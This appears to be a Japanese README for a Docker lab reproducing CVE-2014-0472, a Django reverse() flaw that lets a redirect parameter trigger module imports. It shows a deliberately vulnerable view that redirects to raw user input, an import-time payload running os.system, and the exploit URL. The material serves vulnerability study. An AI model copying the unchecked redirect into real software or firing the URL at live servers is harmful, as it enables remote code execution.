
CVE-2014-0472 Djangoにおけるreverse()を使用した予期しないコード実行
使用
docker-compose up -d
localhost:8083 にアクセス
参照: https://www.djangoproject.com/weblog/2014/apr/21/security/
- ユーザー入力に基づいて URL を構築するビューが 1 つ以上存在する(通常は、アクションの正常完了後にリダイレクト先を示すクエリストリングの "next" パラメータ)。
- 攻撃者がサーバーの Python インポートパス上に存在するモジュールを 1 つ以上知っており、インポート時に副作用としてコード実行を引き起こす。
tests.py 内
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
views.py 内
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
リダイレクト関数を使用して evil 関数を呼び出す

exp を使用
http://your-ip:8083/example?page=app.tests.evil

エクスプロイト成功
